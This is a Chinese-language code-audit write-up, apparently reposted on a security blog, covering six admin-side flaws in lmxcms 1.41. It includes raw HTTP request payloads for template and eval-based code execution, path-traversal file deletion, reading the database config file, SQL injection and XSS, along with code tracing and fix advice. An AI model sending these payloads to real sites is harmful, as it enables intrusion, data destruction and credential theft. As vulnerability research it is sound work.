从0到1 | lmxcms1.41代码审计

admin 2024年2月8日00:14:27评论3 views字数 9169阅读30分33秒阅读模式

1、RCE代码执行

漏洞条件:

  1. 漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default
  2. 漏洞参数:temcontent
  3. 是否存在限制:
  4. 是否还有其他条件:使用smarty模板,m=Template

复现

  1. POST /admin.php?m=Template&a=editfile&dir=default HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Content-Length: 564
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://lmxcmm1.41.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default/footer.html
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
  14. Connection: close
  15. temcontent=%3Cdiv+class%3D%22footerBox+width%22%3E%0D%0A%09%3Cdiv+class%3D%22footer%22%3E%0D%0A++++++++%3Cp%3E%3C%7Bphp%7D%3Ephpinfo%28%29%3B%3C%7B%2Fphp%7D%3E%E6%88%91%E7%9A%84%E7%BD%91%E7%AB%99+%E7%89%88%E6%9D%83%E6%89%80%E6%9C%89+2014+%E6%B9%98ICP%E5%A4%878888888%3Cbr+%2F%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Elmxcms%3C%2Fa%3E+%3C%7B%24version%7D%3E+%C2%A92014+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Ewww.lmxcms.com%3C%2Fa%3E%3C%2Fp%3E%0D%0A++++%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E&filename=footer.html&settemcontent=%E6%8F%90%E4%BA%A4
  1. 查看如何编写这个标签

从0到1 | lmxcms1.41代码审计

从0到1 | lmxcms1.41代码审计
  1. 提交后访问前台首页
从0到1 | lmxcms1.41代码审计

代码

  1. 搜索smarty模板。一般模板功能会出现eval函数的执行,因为有可能在前端页面通过php的代码去实现一些内容。首页、头部、尾页文件htmladmin目录下的template文件。
从0到1 | lmxcms1.41代码审计
  1. 在执行文件写入的时候也不会有限制
从0到1 | lmxcms1.41代码审计
  1. 通过文件找到对应功能位置,果然是在模板调用时。
从0到1 | lmxcms1.41代码审计
  1. 打开一个尾部html,发现和页面显示不同。要么是存储的变量,变量等于1.41。或者写到数据库了,通过model层去除1.41然后显示。因为是个html文件,不能执行php代码,所以会引用eval强制执行造成rce
从0到1 | lmxcms1.41代码审计

修复建议

  1. 对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。

2、RCE代码执行

漏洞条件:

  1. 参数接收后执行eval('$data='这里面的输入的内容'')
  2. 点是连接符,//注释掉后面的
  3. 漏洞url: url1http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
  4. url2http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
  5. 漏洞参数:sqlstr
  6. 是否存在限制:
  7. 是否还有其他条件:m=Sql&a=sqlsetm=Acquisi&a=showCjData&cid=1&id=1&lid=1
  1. POST /admin.php?&m=Sql&a=sqlset HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Content-Length: 135
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://lmxcmm1.41.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://lmxcmm1.41.com/admin.php?m=Sql&a=index&type=0
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
  14. Connection: close
  15. sqlstr=INSERT+INTO+lmx_cj_data+%28id%2C+data%29+VALUES+%28%276%27%2C+%27666%3Bphpinfo%28%29%3B%2F%2F%27%29%3B&sqlsub=%E6%8F%90%E4%BA%A4
  1. 在这里执行一条sql语句将内容插入cj_data表中。查询的主要是iddata所以只需要插入这两个字段。
  2. INSERT INTO lmx_cj_data (id, data) VALUES ('5', '666;phpinfo();//');
从0到1 | lmxcms1.41代码审计
  1. GET /admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1 HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  9. Connection: close
从0到1 | lmxcms1.41代码审计

代码

  1. 搜索代码执行关键字,找到函数里存在变量的文件
从0到1 | lmxcms1.41代码审计
  1. 跟踪一下$temdata['data']
  2. $data是从$temdata赋值的,$temdata314行过来的,有个caijiDataOne函数接收的$_GET['cid'],也没有对变量做处理。
从0到1 | lmxcms1.41代码审计
  1. 已知查询的数据库表是cj_data
从0到1 | lmxcms1.41代码审计
  1. 要执行eval的话先触发showCjData()方法,在依次接收变量,控制变量cid结果为$temdata,在控制318行的值实现rce。需要一步一步的触发。但这里的方法是从数据库取出才会触发,不是从这个功能写入的。
从0到1 | lmxcms1.41代码审计
  1. 定位到这个文件在admin下。再去看一下路由情况,先登录后台
从0到1 | lmxcms1.41代码审计
从0到1 | lmxcms1.41代码审计
  1. 所以可以将文件直接替换,定位到功能位置。但实际是从'执行sql'功能写入的内容
从0到1 | lmxcms1.41代码审计

修复建议

  1. 对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。

3、后台2处任意文件删除

漏洞条件:

  1. 漏洞url: url1http://lmxcmm1.41.com/admin.php?m=Backdb&a=delbackdb&filename=../../1.txt
  2. url2http://lmxcmm1.41.com/admin.php?m=Backdb&a=delmorebackdb
  3. 漏洞参数:filenamefilename[]
  4. 是否存在限制:
  5. 是否还有其他条件:m=Backdba=delbackdb/ a=delmorebackdb

复现

第一处:
  1. GET /admin.php?m=Backdb&a=delbackdb&filename=../../1.txt HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  10. Connection: close
从0到1 | lmxcms1.41代码审计
第二处:
  1. POST /admin.php?m=Backdb&a=delmorebackdb HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Content-Length: 26
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://lmxcmm1.41.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  14. Connection: close
  15. filename%5B%5D=../../1.txt
从0到1 | lmxcms1.41代码审计

代码

  1. 第一处:$filename = trim($_GET['filename']);,判断文件是否存在,如果 $filename 不为空,代码则调用 $this->delOne($filename); 方法尝试删除名为 $filename 的备份文件。直接执行删除操作。
  2. 第二处:$filename = $_POST['filename'];。如果获得的'filename'参数有值,它将对数组中的每一个元素(也就是每一个文件名)调用$this->delOne($v);方法,尝试删除对应的备份文件。
  3. 都调用了delOne()方法。
从0到1 | lmxcms1.41代码审计

修复建议

  1. 仔细验证和过滤用户输入,确保删除请求的文件名仅包含安全、有效的字符,并且限制在预设的文件目录中。其次,实施权限控制,只允许具有适当权限的用户执行删除操作。

4、后台任意文件读取

漏洞条件

  1. 漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=../inc/db.inc.php
  2. 漏洞参数:dir
  3. 是否存在限制:
  4. 是否还有其他条件:m=Template&a=editfile&dir

复现

  1. GET /admin.php?m=Template&a=editfile&dir=../inc/db.inc.php HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Accept: */*
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. X-Requested-With: XMLHttpRequest
  6. Origin: http://lmxcmm1.41.com
  7. Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh-CN,zh;q=0.9
  10. Cookie: PHPSESSID=lmsb9v1t6oqq5eahqtq54jqij6
  11. Connection: close
从0到1 | lmxcms1.41代码审计

代码

  1. file_get_contents搜索文件读取函数并且存在变量的。
  2. 检查 $path 指向的是否是一个文件,如果是,尝试读取文件内容。
  3. 如果不存在返回错误信息,否则返回读取的内容
从0到1 | lmxcms1.41代码审计
  1. 跟踪getconTemplateAction.class.php文件的editfile方法调用了它。构造它只需要满足get方式接收dir参数
从0到1 | lmxcms1.41代码审计

修复建议

  1. 对所有用户输入文件路径的处理进行严格的检查和清理,并确保仅限于访问安全、隔离的目录且拥有适当的权限。

5、后台sql注入和xss

漏洞条件:

  1. 漏洞url: http://lmxcmm1.41.com/admin.php?m=zt&a=search&name=1
  2. 漏洞参数:name
  3. 是否存在限制:
  4. 是否还有其他条件:m=zt&a=search

复现

sqi注入
  1. GET /admin.php?m=zt&a=search&name=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://lmxcmm1.41.com/admin.php?m=Column
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  10. Connection: close
从0到1 | lmxcms1.41代码审计
xss
  1. GET /admin.php?m=zt&a=search&name='><script>alert("XSS")</script> HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://lmxcmm1.41.com/admin.php?m=Column
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  10. Connection: close
从0到1 | lmxcms1.41代码审计
从0到1 | lmxcms1.41代码审计

代码

  1. $name = trim($_GET['name']);接收变量,判断变量不为空就带入where查询需求
从0到1 | lmxcms1.41代码审计
  1. count-->countModel-->countDB-->query
  2. 一路跟踪后,发现会返回错误的语句
从0到1 | lmxcms1.41代码审计
从0到1 | lmxcms1.41代码审计
从0到1 | lmxcms1.41代码审计

修复建议

sql注入
  1. 确保使用参数化查询,对所有用户输入进行严格验证和清理,并且让应用程序的数据库账户只拥有最小权限。
xss修复
  1. 确保所有用户输入的数据在输出到浏览器前都进行了适当的转义或编码

6、后台sql注入

漏洞条件:

  1. 漏洞url: http://lmxcmm1.41.com/admin.php?m=Zt&a=ajax_data
  2. 漏洞参数:curr
  3. 是否存在限制:
  4. 是否还有其他条件:m=Zt&a=ajax_data

复现

  1. POST /admin.php?m=Zt&a=ajax_data HTTP/1.1
  2. Host: lmxcmm1.41.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
  10. Connection: close
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 114
  13. curr=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA
从0到1 | lmxcms1.41代码审计

代码

  1. $name = trim($_POST['curr']); 判断$name变量存在就拼接where sql语句
从0到1 | lmxcms1.41代码审计
  1. count-->countModel-->countDB-->query
  2. 同样跟踪到query会有报错语句回显
从0到1 | lmxcms1.41代码审计

修复建议

  1. 确保使用参数化查询,对所有用户输入进行严格验证和清理,并且让应用程序的数据库账户只拥有最小权限。

.


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

从0到1 | lmxcms1.41代码审计

进成员内部群

从0到1 | lmxcms1.41代码审计

星球的最近主题和星球内部工具一些展示

从0到1 | lmxcms1.41代码审计

从0到1 | lmxcms1.41代码审计

从0到1 | lmxcms1.41代码审计

从0到1 | lmxcms1.41代码审计

从0到1 | lmxcms1.41代码审计

从0到1 | lmxcms1.41代码审计

从0到1 | lmxcms1.41代码审计

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

从0到1 | lmxcms1.41代码审计 还在等什么?赶紧点击下方名片关注学习吧!从0到1 | lmxcms1.41代码审计

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月8日00:14:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从0到1 | lmxcms1.41代码审计http://cn-sec.com/archives/2480525.html

发表评论

匿名网友 填写信息